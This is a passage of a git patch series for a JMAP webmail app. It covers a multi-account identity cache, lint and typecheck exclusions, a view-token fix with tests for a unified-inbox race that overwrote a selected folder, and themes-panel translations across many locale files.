useSettingsStore((s) => s.proInterface); const accounts = useAccountStore((s) => s.accounts); const activeAccountId = useAuthStore((s) => s.activeAccountId); const activeIdentities = useIdentityStore((s) => s.identities); - const enabled = (proInterface || isEmbedded) && accounts.filter(a => a.isConnected).length > 1; + const enabled = accounts.filter(a => a.isConnected).length > 1; - const [remoteIdentities, setRemoteIdentities] = useState>({}); + const [remoteIdentities, setRemoteIdentities] = useState>( + () => Object.fromEntries(remoteIdentityCache), + ); // Cache identities fetched per non-active account. Active account's // identities come live from useIdentityStore so signature/alias edits @@ -70,6 +80,9 @@ export function useProMultiAccountIdentities(): { setRemoteIdentities({}); return; } + for (const id of remoteIdentityCache.keys()) { + if (!accounts.some((a) => a.id === id)) remoteIdentityCache.delete(id); + } let cancelled = false; const getClientForAccount = useAuthStore.getState().getClientForAccount; (async () => { @@ -82,10 +95,12 @@ export function useProMultiAccountIdentities(): { if (!client) return; try { const list = await client.getIdentities(); + remoteIdentityCache.set(account.id, list); if (!cancelled) next[account.id] = list; } catch { // Skip accounts that fail to load identities - one bad // account shouldn't blank the whole dropdown. + remoteIdentityCache.delete(account.id); } }), ); From 264b089e8d15d1287d1e5db796db5266b9fbd36f Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Sat, 26 Sep 2026 12:34:06 +0200 Subject: [PATCH 022/358] chore: keep gitignored local-data out of typecheck and lint --- eslint.config.mjs | 2 +- tsconfig.json | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/eslint.config.mjs b/eslint.config.mjs index 7e488c870..bc2093315 100644 --- a/eslint.config.mjs +++ b/eslint.config.mjs @@ -85,7 +85,7 @@ export default [ "public/**/*.js", "*.config.js", "*.config.mjs", - "local-data/**/*.mjs", + "local-data/**", "benchmark/**", "examples/**", "integration/**", diff --git a/tsconfig.json b/tsconfig.json index 5c212ec31..7ba406ec8 100644 --- a/tsconfig.json +++ b/tsconfig.json @@ -38,6 +38,7 @@ "exclude": [ "node_modules", "repos", + "local-data", "examples", "integration", ".next/dev/types" From ff8b19250854f91987f14926bd2193c995a74ed7 Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Sat, 26 Sep 2026 12:41:13 +0200 Subject: [PATCH 023/358] fix: keep a folder from switching back to the unified inbox while it loads #1102 --- components/mail/mail-app.tsx | 21 +++-- .../email-store-view-token-race.test.ts | 83 ++++++++++++++++--- stores/email-store.ts | 35 ++++++-- 3 files changed, 116 insertions(+), 23 deletions(-) diff --git a/components/mail/mail-app.tsx b/components/mail/mail-app.tsx index ace21ba84..0924db809 100644 --- a/components/mail/mail-app.tsx +++ b/components/mail/mail-app.tsx @@ -31,7 +31,7 @@ import { usePolicyStore } from "@/stores/policy-store"; import type { UnifiedAccountClient } from "@/lib/unified-mailbox"; import { connectedAccountsGrew } from "@/lib/unified-mailbox"; import { KeyboardShortcutsModal } from "@/components/keyboard-shortcuts-modal"; -import { useEmailStore, buildUnifiedAccountClients, ArchiveMailboxNotFoundError, findArchiveMailbox, resolveUnstampedEmailAccountId } from "@/stores/email-store"; +import { useEmailStore, buildUnifiedAccountClients, captureViewToken, ArchiveMailboxNotFoundError, findArchiveMailbox, resolveUnstampedEmailAccountId } from "@/stores/email-store"; import { groupSearchScopeFolders } from "@/lib/search-scope-folders"; import { toast } from "@/stores/toast-store"; import { runBatchEmailAction } from "@/lib/email-action-toast"; @@ -1346,12 +1346,15 @@ export function MailApp({ linkSegments: routeSegments }: MailAppProps = {}) { // replace the user's results with the folder contents. if (state.searchQuery || !isFilterEmpty(state.searchFilters)) return; + const isSameView = captureViewToken(); void buildPopulatedUnifiedAccounts() - .then((populated) => ( - unifiedRole + .then((populated) => { + // The user left the view while the accounts loaded (#1102). + if (!isSameView()) return; + return unifiedRole ? fetchUnifiedEmailsAction(populated, unifiedRole) - : fetchCrossViewAction(populated, crossView!) - )) + : fetchCrossViewAction(populated, crossView!); + }) .catch(() => { /* per-account failures surface through unifiedErrors */ }); }, [connectedAccountsSignature, isAuthenticated, client, buildPopulatedUnifiedAccounts, fetchUnifiedEmailsAction, fetchCrossViewAction]); @@ -2557,7 +2560,11 @@ export function MailApp({ linkSegments: routeSegments }: MailAppProps = {}) { setTabletListVisible(true); } + const isSameView = captureViewToken(); const populated = await buildPopulatedUnifiedAccounts(); + // Another folder was picked while the accounts loaded; entering this + // view now would put it over that folder (#1102). + if (!isSameView()) return; const searchCleared = clearSearchIfFolderChangeResets(); // Keep an active search across the switch and re-run it in this view // (mirrors normal mailboxes), preserving advanced filters; otherwise browse. @@ -2591,7 +2598,9 @@ export function MailApp({ linkSegments: routeSegments }: MailAppProps = {}) { setTabletListVisible(true); } + const isSameView = captureViewToken(); const populated = await buildPopulatedUnifiedAccounts(); + if (!isSameView()) return; const searchCleared = clearSearchIfFolderChangeResets(); // Keep an active search across the switch and re-run it in this view // (mirrors normal mailboxes), preserving advanced filters; otherwise browse. @@ -2991,7 +3000,9 @@ export function MailApp({ linkSegments: routeSegments }: MailAppProps = {}) { // In unified view the active "mailbox" is a virtual role or cross view, so // refresh via the unified fan-out instead of fetchEmails. if (isUnifiedView) { + const isSameView = captureViewToken(); const populated = await buildPopulatedUnifiedAccounts(); + if (!isSameView()) return; const role = useEmailStore.getState().unifiedRole; const cross = useEmailStore.getState().crossView; if (role) { diff --git a/stores/__tests__/email-store-view-token-race.test.ts b/stores/__tests__/email-store-view-token-race.test.ts index 472de927b..9b974c367 100644 --- a/stores/__tests__/email-store-view-token-race.test.ts +++ b/stores/__tests__/email-store-view-token-race.test.ts @@ -1,17 +1,19 @@ import { beforeEach, describe, expect, it, vi } from 'vitest'; /** - * Deleting a message in a real folder (e.g. one built from a Sieve `fileinto` - * rule) could show "Inbox" badges and stale rows blended in, because a - * still-in-flight fetchUnifiedEmails/fetchCrossView call (kicked off before - * the user navigated to that folder) resolved AFTER selectMailbox and - * unconditionally stomped isUnifiedView back to true. The next - * refreshCurrentMailbox (triggered by the delete's push echo) then took the - * unified branch instead of refreshing the real folder. + * A real folder could show Unified Inbox rows with "Inbox" badges while the + * sidebar still had the folder selected (#1102). Ways in: + * - a fetchUnifiedEmails/fetchCrossView still in flight when the user picked + * the folder resolved afterwards and overwrote the folder's list; + * - a caller that awaited the unified account list before starting the fetch + * started it after the user had left, switching the unified view back on + * over the folder, so the next refresh (e.g. after a delete) loaded the + * unified inbox; + * - picking a folder without leaving the unified view first (history + * restore, a folder's unread badge, a Pro-sidebar account folder). * - * viewToken is bumped by every view-changing action; fetchUnifiedEmails and - * fetchCrossView capture it before their async fetch and bail if it no - * longer matches on return, so a late response can't clobber a newer view. + * viewToken is bumped by every view-changing action. The fetches check it on + * return; callers that await first check it via captureViewToken(). */ const { fetchCrossViewMock, fetchUnifiedMock } = vi.hoisted(() => ({ @@ -28,7 +30,7 @@ vi.mock('@/lib/unified-mailbox', async (importActual) => { }; }); -import { useEmailStore } from '../email-store'; +import { captureViewToken, useEmailStore } from '../email-store'; import { useSettingsStore } from '../settings-store'; import type { Email } from '@/lib/jmap/types'; import type { UnifiedAccountClient } from '@/lib/unified-mailbox'; @@ -48,8 +50,9 @@ const makeEmail = (id: string): Email => size: 1, }) as unknown as Email; -describe('viewToken guards against late-resolving unified fetches (#delete-folder-blend)', () => { +describe('viewToken guards against late-resolving unified fetches (#1102)', () => { let resolveUnified!: (value: unknown) => void; + let resolveCross!: (value: unknown) => void; beforeEach(() => { vi.clearAllMocks(); @@ -62,10 +65,14 @@ describe('viewToken guards against late-resolving unified fetches (#delete-folde crossView: null, selectedMailbox: '', selectedKeyword: null, + viewingAccountId: null, }); fetchUnifiedMock.mockImplementation( () => new Promise((resolve) => { resolveUnified = resolve; }), ); + fetchCrossViewMock.mockImplementation( + () => new Promise((resolve) => { resolveCross = resolve; }), + ); }); it('a late-resolving fetchUnifiedEmails does not stomp a folder selected afterward', async () => { @@ -109,4 +116,56 @@ describe('viewToken guards against late-resolving unified fetches (#delete-folde expect(useEmailStore.getState().isUnifiedView).toBe(true); expect(useEmailStore.getState().emails.map((e) => e.id)).toEqual(['a']); }); + + it('a late-resolving fetchCrossView does not overwrite a folder selected afterward', async () => { + const pending = useEmailStore.getState().fetchCrossView([], 'unread'); + useEmailStore.getState().selectMailbox('later-folder-id'); + useEmailStore.setState({ emails: [makeEmail('folder-a')] }); + + resolveCross({ emails: [makeEmail('cross-a')], hasMore: false, total: 1, errors: new Map() }); + await pending; + + const state = useEmailStore.getState(); + expect(state.isUnifiedView).toBe(false); + expect(state.crossView).toBeNull(); + expect(state.emails.map((e) => e.id)).toEqual(['folder-a']); + }); + + it('picking another account\'s folder leaves the unified view and drops its pending fetch', async () => { + const pending = useEmailStore.getState().fetchUnifiedEmails([], 'inbox'); + useEmailStore.getState().selectAccountMailbox('acc-2', 'later-folder-id'); + + let state = useEmailStore.getState(); + expect(state.isUnifiedView).toBe(false); + expect(state.unifiedRole).toBeNull(); + expect(state.viewingAccountId).toBe('acc-2'); + + useEmailStore.setState({ emails: [makeEmail('folder-a')] }); + resolveUnified({ emails: [makeEmail('unified-a')], hasMore: false, total: 1, errors: new Map() }); + await pending; + + state = useEmailStore.getState(); + expect(state.isUnifiedView).toBe(false); + expect(state.emails.map((e) => e.id)).toEqual(['folder-a']); + }); + + it('captureViewToken tells a caller that the user left while it was awaiting', () => { + // mail-app selects the unified row, then awaits the account list before + // it calls fetchUnifiedEmails. + useEmailStore.getState().selectMailbox('__unified_inbox__'); + const isSameView = captureViewToken(); + expect(isSameView()).toBe(true); + + useEmailStore.getState().exitUnifiedView(); + useEmailStore.getState().selectMailbox('later-folder-id'); + + expect(isSameView()).toBe(false); + }); + + it('captureViewToken stays current when nothing navigated', () => { + useEmailStore.getState().selectMailbox('__unified_inbox__'); + const isSameView = captureViewToken(); + useEmailStore.setState({ emails: [makeEmail('a')] }); + expect(isSameView()).toBe(true); + }); }); diff --git a/stores/email-store.ts b/stores/email-store.ts index 401bac775..3a583767e 100644 --- a/stores/email-store.ts +++ b/stores/email-store.ts @@ -124,7 +124,9 @@ interface EmailStore { // Bumped by any action that changes which mailbox/keyword/unified view is // active. fetchUnifiedEmails/fetchCrossView capture it before their async // fetch and check it on return, so a late-resolving fetch from a view the - // user already navigated away from can't stomp the newer view's state (#delete-folder-blend). + // user already navigated away from can't stomp the newer view's state (#1102). + // Callers that await before starting one of those fetches check it with + // captureViewToken(). viewToken: number; isUnifiedView: boolean; unifiedRole: UnifiedMailboxRole | null; @@ -688,6 +690,16 @@ function captureEmailListView(): () => boolean { }; } +// fetchUnifiedEmails/fetchCrossView start a new view generation of their own, +// so they cannot tell that the user left while the caller was still awaiting +// something (e.g. the unified account list). Such callers capture this before +// the await and skip the fetch if it reports false; otherwise the unified view +// is switched back on over the folder the user picked meanwhile (#1102). +export function captureViewToken(): () => boolean { + const token = useEmailStore.getState().viewToken; + return () => useEmailStore.getState().viewToken === token; +} + /** * The owner JMAP accountId of the shared/group folder currently being viewed * directly (the "Shared" sidebar section, non-unified), or `undefined` for a @@ -1469,7 +1481,7 @@ export const useEmailStore = create((set, get) => ({ })), clearAccountMailboxes: () => set({ accountMailboxes: {} }), setViewingAccount: (accountId) => set({ viewingAccountId: accountId }), - selectAccountMailbox: (accountId, mailboxId) => set({ + selectAccountMailbox: (accountId, mailboxId) => set(state => ({ viewingAccountId: accountId, selectedMailbox: mailboxId, // The search panel's folder scope names a folder of the account we are @@ -1487,7 +1499,13 @@ export const useEmailStore = create((set, get) => ({ threadEmailsCache: new Map(), threadEmailCounts: new Map(), isLoadingThread: null, - }), + // Account folders are always real folders; like selectMailbox, leave any + // unified view so a pending unified fetch or refresh can't take it over (#1102). + viewToken: state.viewToken + 1, + isUnifiedView: false, + unifiedRole: null, + crossView: null, + })), fetchAccountMailboxes: async (client, accountId) => { try { // `accountId` is overloaded across callers: @@ -3621,15 +3639,20 @@ export const useEmailStore = create((set, get) => ({ selectedEmail: getNextSelectedEmail(state, emailId), })); - // Refresh the view the user is actually looking at. + // Refresh the view the user is actually looking at. If they leave it + // while the account list loads, skip the fetch rather than re-enter it. if (get().isUnifiedView && get().crossView) { + const isSameView = captureViewToken(); + const view = get().crossView!; const includeGroup = useSettingsStore.getState().includeGroupInUnified; const accounts = await buildUnifiedAccountClients({ includeGroup }); - await get().fetchCrossView(accounts, get().crossView!); + if (isSameView()) await get().fetchCrossView(accounts, view); } else if (get().isUnifiedView && get().unifiedRole) { + const isSameView = captureViewToken(); + const role = get().unifiedRole!; const includeGroup = useSettingsStore.getState().includeGroupInUnified; const accounts = await buildUnifiedAccountClients({ includeGroup }); - await get().fetchUnifiedEmails(accounts, get().unifiedRole!); + if (isSameView()) await get().fetchUnifiedEmails(accounts, role); } else { await get().fetchEmails(client, selectedMailbox); } From 3668618c2db3772808003517abbb93c343dddd84 Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Sat, 26 Sep 2026 12:54:30 +0200 Subject: [PATCH 024/358] fix: translate the themes settings panel --- components/settings/themes-settings.tsx | 20 ++++++++++++-------- lib/settings-search.ts | 2 +- locales/ar/common.json | 12 ++++++++++++ locales/ca/common.json | 12 ++++++++++++ locales/cs/common.json | 12 ++++++++++++ locales/da/common.json | 12 ++++++++++++ locales/de/common.json | 12 ++++++++++++ locales/en/common.json | 12 ++++++++++++ locales/es/common.json | 12 ++++++++++++ locales/fa/common.json | 12 ++++++++++++ locales/fr/common.json | 12 ++++++++++++ locales/he/common.json | 12 ++++++++++++ locales/hu/common.json | 12 ++++++++++++ locales/it/common.json | 12 ++++++++++++ locales/ja/common.json | 12 ++++++++++++ locales/ko/common.json | 12 ++++++++++++ locales/lv/common.json | 12 ++++++++++++ locales/mn/common.json | 12 ++++++++++++ locales/nb/common.json | 12 ++++++++++++ locales/nl/common.json | 12 ++++++++++++ locales/pl/common.json | 12 ++++++++++++ locales/pt/common.json | 14 +++++++++++++- locales/ro/common.json | 12 ++++++++++++ locales/ru/common.json | 12 ++++++++++++ locales/sk/common.json | 12 ++++++++++++ locales/tr/common.json | 12 ++++++++++++ locales/uk/common.json | 12 ++++++++++++ locales/zh-TW/common.json | 14 +++++++++++++- locales/zh/common.json | 12 ++++++++++++ vitest.setup.ts | 11 ++++++----- 30 files changed, 345 insertions(+), 16 deletions(-) diff --git a/components/settings/themes-settings.tsx b/components/settings/themes-settings.tsx index 64aa2050d..7336ad8a9 100644 --- a/components/settings/themes-settings.tsx +++ b/components/settings/themes-settings.tsx @@ -1,6 +1,7 @@ 'use client'; import { useEffect, useState } from 'react'; +import { useTranslations } from 'next-intl'; import { useThemeStore } from '@/stores/theme-store'; import { SettingsSection } from './settings-section'; import { cn } from '@/lib/utils'; @@ -9,6 +10,7 @@ import { toast } from '@/stores/toast-store'; import { usePolicyStore } from '@/stores/policy-store'; export function ThemesSettings() { + const t = useTranslations('settings.themes'); const { installedThemes, activeThemeId, activateTheme } = useThemeStore(); const { isThemeDisabled, getThemePolicy, getForcedThemeId, isThemeForceEnabled } = usePolicyStore(); const themePolicy = getThemePolicy(); @@ -53,20 +55,20 @@ export function ThemesSettings() { if (forcedThemeId && id !== forcedThemeId) { const forcedTheme = installedThemes.find((theme) => theme.id === forcedThemeId); - toast.info(`Theme "${forcedTheme?.name ?? 'Admin theme'}" is forced by admin and cannot be changed`); + toast.info(t('forced', { name: forcedTheme?.name ?? t('admin_theme') })); return; } activateTheme(id); - toast.success(id ? 'Theme activated' : 'Default theme restored'); + toast.success(id ? t('activated') : t('default_restored')); }; return ( - + {forcedThemeId && (
- Theme selection is locked by an administrator. + {t('locked')}
)} @@ -74,7 +76,7 @@ export function ThemesSettings() {
{/* Default theme card */} @@ -162,12 +166,12 @@ function ThemeCard({ name, author, preview, css, isDark, isDefaultTheme, isActiv {name}
{isForceEnabled && ( - + )} {isDefault && ( - Default + {t('default_badge')} )} {isActive && }
@@ -177,7 +181,7 @@ function ThemeCard({ name, author, preview, css, isDark, isDefaultTheme, isActiv
{variants.map(v => ( - {v} + {tVariant(v)} ))}
diff --git a/lib/settings-search.ts b/lib/settings-search.ts index 646da5d1b..5c8ed7724 100644 --- a/lib/settings-search.ts +++ b/lib/settings-search.ts @@ -128,7 +128,7 @@ export const tabSearchPaths: Record = { protocol_handlers: ['protocol_handlers'], sidebar_apps: ['settings.sidebar_apps', 'sidebar_apps'], about_data: ['settings.advanced'], - themes: [], + themes: ['settings.themes'], plugins: [], debug: ['settings.advanced'], }; diff --git a/locales/ar/common.json b/locales/ar/common.json index 930666709..7ef9da399 100644 --- a/locales/ar/common.json +++ b/locales/ar/common.json @@ -938,6 +938,18 @@ "about_data": "حول والبيانات", "debug": "التصحيح" }, + "themes": { + "title": "السمات", + "description": "اختر من بين السمات التي نشرها المسؤول والإعدادات المسبقة المضمنة.", + "locked": "اختيار السمة مقفل من قِبل المسؤول.", + "forced": "السمة «{name}» مفروضة من قِبل المسؤول ولا يمكن تغييرها", + "admin_theme": "سمة المسؤول", + "activated": "تم تفعيل السمة", + "default_restored": "تمت استعادة السمة الافتراضية", + "default_name": "الافتراضية", + "default_badge": "افتراضية", + "admin_enforced": "مفروضة من المسؤول" + }, "tab_groups": { "general": "عام", "account": "الحساب والهوية", diff --git a/locales/ca/common.json b/locales/ca/common.json index 096b08fdd..d64418abe 100644 --- a/locales/ca/common.json +++ b/locales/ca/common.json @@ -938,6 +938,18 @@ "about_data": "Quant a i dades", "debug": "Depuració" }, + "themes": { + "title": "Temes", + "description": "Trieu entre els temes desplegats pel vostre administrador i els predefinits integrats.", + "locked": "La selecció de tema està bloquejada per un administrador.", + "forced": "El tema «{name}» l'imposa l'administrador i no es pot canviar", + "admin_theme": "Tema de l'administrador", + "activated": "Tema activat", + "default_restored": "S'ha restaurat el tema predeterminat", + "default_name": "Predeterminat", + "default_badge": "Predeterminat", + "admin_enforced": "Imposat per l'administrador" + }, "tab_groups": { "general": "General", "account": "Compte i identitat", diff --git a/locales/cs/common.json b/locales/cs/common.json index 5eb8ae5b5..6c378f9b1 100644 --- a/locales/cs/common.json +++ b/locales/cs/common.json @@ -935,6 +935,18 @@ "about_data": "Info a data", "debug": "Ladění" }, + "themes": { + "title": "Motivy", + "description": "Vyberte si z motivů nasazených vaším správcem a z vestavěných předvoleb.", + "locked": "Výběr motivu je uzamčen správcem.", + "forced": "Motiv „{name}“ je vynucen správcem a nelze jej změnit", + "admin_theme": "Motiv správce", + "activated": "Motiv aktivován", + "default_restored": "Výchozí motiv obnoven", + "default_name": "Výchozí", + "default_badge": "Výchozí", + "admin_enforced": "Vynuceno správcem" + }, "tab_groups": { "general": "Obecné", "account": "Účet a identita", diff --git a/locales/da/common.json b/locales/da/common.json index 1abedc890..884dd2e34 100644 --- a/locales/da/common.json +++ b/locales/da/common.json @@ -938,6 +938,18 @@ "about_data": "Om & data", "debug": "Debug" }, + "themes": { + "title": "Temaer", + "description": "Vælg mellem temaer, som din administrator har udrullet, og indbyggede forudindstillinger.", + "locked": "Temavalget er låst af en administrator.", + "forced": "Temaet »{name}« er gennemtvunget af administratoren og kan ikke ændres", + "admin_theme": "Administratortema", + "activated": "Tema aktiveret", + "default_restored": "Standardtema gendannet", + "default_name": "Standard", + "default_badge": "Standard", + "admin_enforced": "Gennemtvunget af administrator" + }, "tab_groups": { "general": "Generelt", "account": "Konto & identitet", diff --git a/locales/de/common.json b/locales/de/common.json index a37c77866..8bc9631d3 100644 --- a/locales/de/common.json +++ b/locales/de/common.json @@ -935,6 +935,18 @@ "about_data": "Über & Daten", "debug": "Debug" }, + "themes": { + "title": "Designs", + "description": "Wählen Sie aus den von Ihrem Administrator bereitgestellten Designs und den integrierten Vorlagen.", + "locked": "Die Designauswahl wurde von einem Administrator gesperrt.", + "forced": "Das Design „{name}“ wird vom Administrator vorgegeben und kann nicht geändert werden", + "admin_theme": "Administrator-Design", + "activated": "Design aktiviert", + "default_restored": "Standarddesign wiederhergestellt", + "default_name": "Standard", + "default_badge": "Standard", + "admin_enforced": "Vom Administrator erzwungen" + }, "tab_groups": { "general": "Allgemein", "account": "Konto & Identität", diff --git a/locales/en/common.json b/locales/en/common.json index 6fa79348f..c558f5d1b 100644 --- a/locales/en/common.json +++ b/locales/en/common.json @@ -938,6 +938,18 @@ "about_data": "About & Data", "debug": "Debug" }, + "themes": { + "title": "Themes", + "description": "Choose from themes deployed by your administrator and built-in presets.", + "locked": "Theme selection is locked by an administrator.", + "forced": "Theme \"{name}\" is forced by admin and cannot be changed", + "admin_theme": "Admin theme", + "activated": "Theme activated", + "default_restored": "Default theme restored", + "default_name": "Default", + "default_badge": "Default", + "admin_enforced": "Admin enforced" + }, "tab_groups": { "general": "General", "account": "Account & Identity", diff --git a/locales/es/common.json b/locales/es/common.json index 8b62ca304..781b93725 100644 --- a/locales/es/common.json +++ b/locales/es/common.json @@ -935,6 +935,18 @@ "about_data": "Acerca de y datos", "debug": "Depuración" }, + "themes": { + "title": "Temas", + "description": "Elija entre los temas implementados por su administrador y los ajustes preestablecidos integrados.", + "locked": "La selección de tema está bloqueada por un administrador.", + "forced": "El tema «{name}» lo impone el administrador y no se puede cambiar", + "admin_theme": "Tema del administrador", + "activated": "Tema activado", + "default_restored": "Tema predeterminado restaurado", + "default_name": "Predeterminado", + "default_badge": "Predeterminado", + "admin_enforced": "Impuesto por el administrador" + }, "tab_groups": { "general": "General", "account": "Cuenta e identidad", diff --git a/locales/fa/common.json b/locales/fa/common.json index 76fdd1268..057657d10 100644 --- a/locales/fa/common.json +++ b/locales/fa/common.json @@ -938,6 +938,18 @@ "about_data": "درباره و داده‌ها", "debug": "اشکال‌زدایی" }, + "themes": { + "title": "پوسته‌ها", + "description": "از میان پوسته‌هایی که مدیر شما منتشر کرده و پیش‌تنظیم‌های داخلی انتخاب کنید.", + "locked": "انتخاب پوسته توسط مدیر قفل شده است.", + "forced": "پوسته «{name}» توسط مدیر اجباری شده و قابل تغییر نیست", + "admin_theme": "پوسته مدیر", + "activated": "پوسته فعال شد", + "default_restored": "پوسته پیش‌فرض بازیابی شد", + "default_name": "پیش‌فرض", + "default_badge": "پیش‌فرض", + "admin_enforced": "اجباری از سوی مدیر" + }, "tab_groups": { "general": "عمومی", "account": "حساب و هویت", diff --git a/locales/fr/common.json b/locales/fr/common.json index 1473e1f76..ba35b2456 100644 --- a/locales/fr/common.json +++ b/locales/fr/common.json @@ -935,6 +935,18 @@ "about_data": "À propos et données", "debug": "Débogage" }, + "themes": { + "title": "Thèmes", + "description": "Choisissez parmi les thèmes déployés par votre administrateur et les préréglages intégrés.", + "locked": "La sélection du thème est verrouillée par un administrateur.", + "forced": "Le thème « {name} » est imposé par l'administrateur et ne peut pas être modifié", + "admin_theme": "Thème de l'administrateur", + "activated": "Thème activé", + "default_restored": "Thème par défaut restauré", + "default_name": "Par défaut", + "default_badge": "Par défaut", + "admin_enforced": "Imposé par l'administrateur" + }, "tab_groups": { "general": "Général", "account": "Compte & Identité", diff --git a/locales/he/common.json b/locales/he/common.json index 12b5cffbb..d99170230 100644 --- a/locales/he/common.json +++ b/locales/he/common.json @@ -900,6 +900,18 @@ "about_data": "בערך וגדול", "debug": "ניפוי שגיאות" }, + "themes": { + "title": "ערכות נושא", + "description": "בחר מתוך ערכות הנושא שפרס מנהל המערכת ומתוך ערכות מובנות.", + "locked": "בחירת ערכת הנושא ננעלה על ידי מנהל המערכת.", + "forced": "ערכת הנושא \"{name}\" נאכפת על ידי מנהל המערכת ולא ניתן לשנות אותה", + "admin_theme": "ערכת נושא של המנהל", + "activated": "ערכת הנושא הופעלה", + "default_restored": "ערכת הנושא המוגדרת כברירת מחדל שוחזרה", + "default_name": "ברירת מחדל", + "default_badge": "ברירת מחדל", + "admin_enforced": "נאכף על ידי המנהל" + }, "tab_groups": { "general": "כללי", "account": "חשבון וזהות", diff --git a/locales/hu/common.json b/locales/hu/common.json index f409e488d..730b98bc9 100644 --- a/locales/hu/common.json +++ b/locales/hu/common.json @@ -938,6 +938,18 @@ "about_data": "Névjegy és adatok", "debug": "Hibakeresés" }, + "themes": { + "title": "Témák", + "description": "Válassz a rendszergazda által telepített témák és a beépített előbeállítások közül.", + "locked": "A témaválasztást egy rendszergazda zárolta.", + "forced": "A(z) „{name}” témát a rendszergazda írja elő, ezért nem módosítható", + "admin_theme": "Rendszergazdai téma", + "activated": "Téma aktiválva", + "default_restored": "Alapértelmezett téma visszaállítva", + "default_name": "Alapértelmezett", + "default_badge": "Alapértelmezett", + "admin_enforced": "Rendszergazda által előírva" + }, "tab_groups": { "general": "Általános", "account": "Fiók és azonosság", diff --git a/locales/it/common.json b/locales/it/common.json index f547a3e8f..dc68d2246 100644 --- a/locales/it/common.json +++ b/locales/it/common.json @@ -935,6 +935,18 @@ "about_data": "Informazioni e dati", "debug": "Debug" }, + "themes": { + "title": "Temi", + "description": "Scegli tra i temi distribuiti dal tuo amministratore e i preset integrati.", + "locked": "La selezione del tema è bloccata da un amministratore.", + "forced": "Il tema “{name}” è imposto dall'amministratore e non può essere modificato", + "admin_theme": "Tema dell'amministratore", + "activated": "Tema attivato", + "default_restored": "Tema predefinito ripristinato", + "default_name": "Predefinito", + "default_badge": "Predefinito", + "admin_enforced": "Imposto dall'amministratore" + }, "tab_groups": { "general": "Generale", "account": "Account e identità", diff --git a/locales/ja/common.json b/locales/ja/common.json index 13b5d9420..1ab168ef8 100644 --- a/locales/ja/common.json +++ b/locales/ja/common.json @@ -935,6 +935,18 @@ "about_data": "情報とデータ", "debug": "デバッグ" }, + "themes": { + "title": "テーマ", + "description": "管理者が配布したテーマと組み込みのプリセットから選択", + "locked": "テーマの選択は管理者によってロックされています。", + "forced": "テーマ「{name}」は管理者によって固定されているため、変更できません", + "admin_theme": "管理者テーマ", + "activated": "テーマを適用しました", + "default_restored": "デフォルトのテーマに戻しました", + "default_name": "デフォルト", + "default_badge": "デフォルト", + "admin_enforced": "管理者により固定" + }, "tab_groups": { "general": "一般", "account": "アカウントと身元", diff --git a/locales/ko/common.json b/locales/ko/common.json index 14bdbc68d..010487de7 100644 --- a/locales/ko/common.json +++ b/locales/ko/common.json @@ -935,6 +935,18 @@ "about_data": "정보 및 데이터", "debug": "디버그" }, + "themes": { + "title": "테마", + "description": "관리자가 배포한 테마와 기본 제공 프리셋 중에서 선택해 주세요.", + "locked": "관리자가 테마 선택을 잠갔습니다.", + "forced": "테마 “{name}”은(는) 관리자가 지정했으므로 변경할 수 없습니다", + "admin_theme": "관리자 테마", + "activated": "테마가 적용되었습니다", + "default_restored": "기본 테마로 복원되었습니다", + "default_name": "기본", + "default_badge": "기본", + "admin_enforced": "관리자가 지정함" + }, "tab_groups": { "general": "일반", "account": "계정 및 인증", diff --git a/locales/lv/common.json b/locales/lv/common.json index 56c7d11d5..52627b2da 100644 --- a/locales/lv/common.json +++ b/locales/lv/common.json @@ -935,6 +935,18 @@ "about_data": "Par un dati", "debug": "Atkļūdošana" }, + "themes": { + "title": "Tēmas", + "description": "Izvēlieties kādu no administratora izvietotajām tēmām vai iebūvētajiem priekšiestatījumiem.", + "locked": "Tēmas izvēli ir bloķējis administrators.", + "forced": "Tēmu “{name}” ir noteicis administrators, un to nevar mainīt", + "admin_theme": "Administratora tēma", + "activated": "Tēma aktivizēta", + "default_restored": "Noklusējuma tēma atjaunota", + "default_name": "Noklusējuma", + "default_badge": "Noklusējuma", + "admin_enforced": "Noteicis administrators" + }, "tab_groups": { "general": "Vispārīgi", "account": "Konts un identitāte", diff --git a/locales/mn/common.json b/locales/mn/common.json index 4e73fbd80..21d5c4338 100644 --- a/locales/mn/common.json +++ b/locales/mn/common.json @@ -938,6 +938,18 @@ "about_data": "Тухай & Өгөгдөл", "debug": "Дабаглах" }, + "themes": { + "title": "Сэдэв", + "description": "Администраторын байршуулсан сэдвүүд болон суулгасан бэлэн загваруудаас сонго.", + "locked": "Сэдэв сонголтыг администратор түгжсэн байна.", + "forced": "«{name}» сэдвийг администратор тогтоосон тул өөрчлөх боломжгүй", + "admin_theme": "Администраторын сэдэв", + "activated": "Сэдэв идэвхжлээ", + "default_restored": "Үндсэн сэдвийг сэргээлээ", + "default_name": "Үндсэн", + "default_badge": "Үндсэн", + "admin_enforced": "Администратор тогтоосон" + }, "tab_groups": { "general": "Ерөнхий", "account": "Бүртгэл & Иргэний үнэмлэх", diff --git a/locales/nb/common.json b/locales/nb/common.json index 9833f8c9a..d24f1af94 100644 --- a/locales/nb/common.json +++ b/locales/nb/common.json @@ -938,6 +938,18 @@ "about_data": "Om programmet og data", "debug": "Feilsøking" }, + "themes": { + "title": "Temaer", + "description": "Velg blant temaer som administratoren din har gjort tilgjengelige, og innebygde forhåndsinnstillinger.", + "locked": "Temavalget er låst av en administrator.", + "forced": "Temaet «{name}» er påtvunget av administratoren og kan ikke endres", + "admin_theme": "Administratortema", + "activated": "Tema aktivert", + "default_restored": "Standardtema gjenopprettet", + "default_name": "Standard", + "default_badge": "Standard", + "admin_enforced": "Påtvunget av administrator" + }, "tab_groups": { "general": "Generelt", "account": "Konto og identitet", diff --git a/locales/nl/common.json b/locales/nl/common.json index 43190bf60..2a4cfedfc 100644 --- a/locales/nl/common.json +++ b/locales/nl/common.json @@ -935,6 +935,18 @@ "about_data": "Over en gegevens", "debug": "Debuggen" }, + "themes": { + "title": "Thema's", + "description": "Kies uit thema's die je beheerder heeft uitgerold en ingebouwde voorinstellingen.", + "locked": "Themakeuze is vergrendeld door een beheerder.", + "forced": "Thema “{name}” is afgedwongen door de beheerder en kan niet worden gewijzigd", + "admin_theme": "Beheerdersthema", + "activated": "Thema geactiveerd", + "default_restored": "Standaardthema hersteld", + "default_name": "Standaard", + "default_badge": "Standaard", + "admin_enforced": 